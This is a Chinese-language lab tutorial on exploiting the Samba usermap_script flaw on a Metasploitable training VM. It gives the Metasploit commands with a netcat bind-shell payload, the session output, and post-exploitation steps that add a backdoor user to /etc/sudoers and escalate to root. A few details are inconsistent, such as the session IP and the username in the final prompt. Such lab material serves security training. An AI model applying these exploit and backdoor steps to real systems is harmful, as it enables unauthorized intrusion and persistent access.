Metasploit简单入侵

实验环境

角色 操作系统 IP地址 需要工具
攻击机 windows server 2008 192.168.133.148 Metasploit
靶机 Metasploitable_ubuntu-book 192.168.133.157

准备工作

  1. 攻击机准备工作
    1.1. 安装Metasploit,默认安装在C:\metasploit-framework

  2. 靶机准备工作
    2.1 解压Metasploitable_ubuntu-book.zip
    2.2 使用VMware打开解压出来的虚拟机文件
    2.3 登录靶机,用户:root,密码:ubuntu
    2.4. 配置IP地址,命令如下

    root@metasploitable:~# ifconfig eth0 192.168.133.157
    

    2.5. 测试与攻击机是否连通


入侵步骤

  1. 打开Metasploit主界面

    步骤:在攻击机找到Metasploit安装目录下的bin文件夹,打开msfconsole.bat。默认文件夹位置为C:\metasploit-framework\bin

  2. 查询可利用的samba攻击模块,命令如下

    msf>search samba
    
  3. 找到“exploit/multi/samba/usermap_script,调用该攻击模块,命令如下

    msf > use exploit/multi/samba/usermap_script
    msf exploit(multi/samba/usermap_script) >
    
  4. 查询该模块下可用的攻击载荷,命令如下

    msf exploit(multi/samba/usermap_script) > show payloads
    
  5. 找到cmd/unix/bind_netcat,调用该攻击载荷,命令如下

    msf exploit(multi/samba/usermap_script) > set payload cmd/unix/bind_netcat
    payload => cmd/unix/bind_netcat
    
  6. 设置攻击目标为192.168.133.157,命令如下

    msf exploit(multi/samba/usermap_script) > set RHOST 192.168.133.157
    
  7. 显示所有设置,确认配置无误,命令如下

    msf exploit(multi/samba/usermap_script) > show options
    Module options (exploit/multi/samba/usermap_script):
    Name Current Setting Required Description

RHOST 192.168.133.157 yes The target address
RPORT 139 yes The target port (TCP)

Payload options (cmd/unix/bind_netcat):

Name Current Setting Required Description


LPORT 4444 yes The listen port
RHOST 192.168.133.157 no The target address

Exploit target:

Id  Name
--  ----
0   Automatic
```
  1. 开始攻击,命令如下

    msf exploit(multi/samba/usermap_script) > exploit
    [*] Started bind handler
    [*] Command shell session 1 opened (192.168.133.148:58723 -> 192.168.133.160:444
    4) at 2018-03-13 17:29:22 +0800
  2. 入侵已经完成,测试在靶机创建后台用户test,密码123,并提升为管理员,命令如下

    useradd test
    passwd test
    echo "test ALL=(ALL) ALL" >> /etc/sudoers
  3. 使用SSH终端工具连接靶机,用户名和密码为刚刚创建的后台用户,终端输出结果如下

    test@metasploitable:~$
    
  4. 提权为管理员,身份已经变成root用户,命令如下

    ttt@metasploitable:~$ sudo su -
    root@metasploitable:~#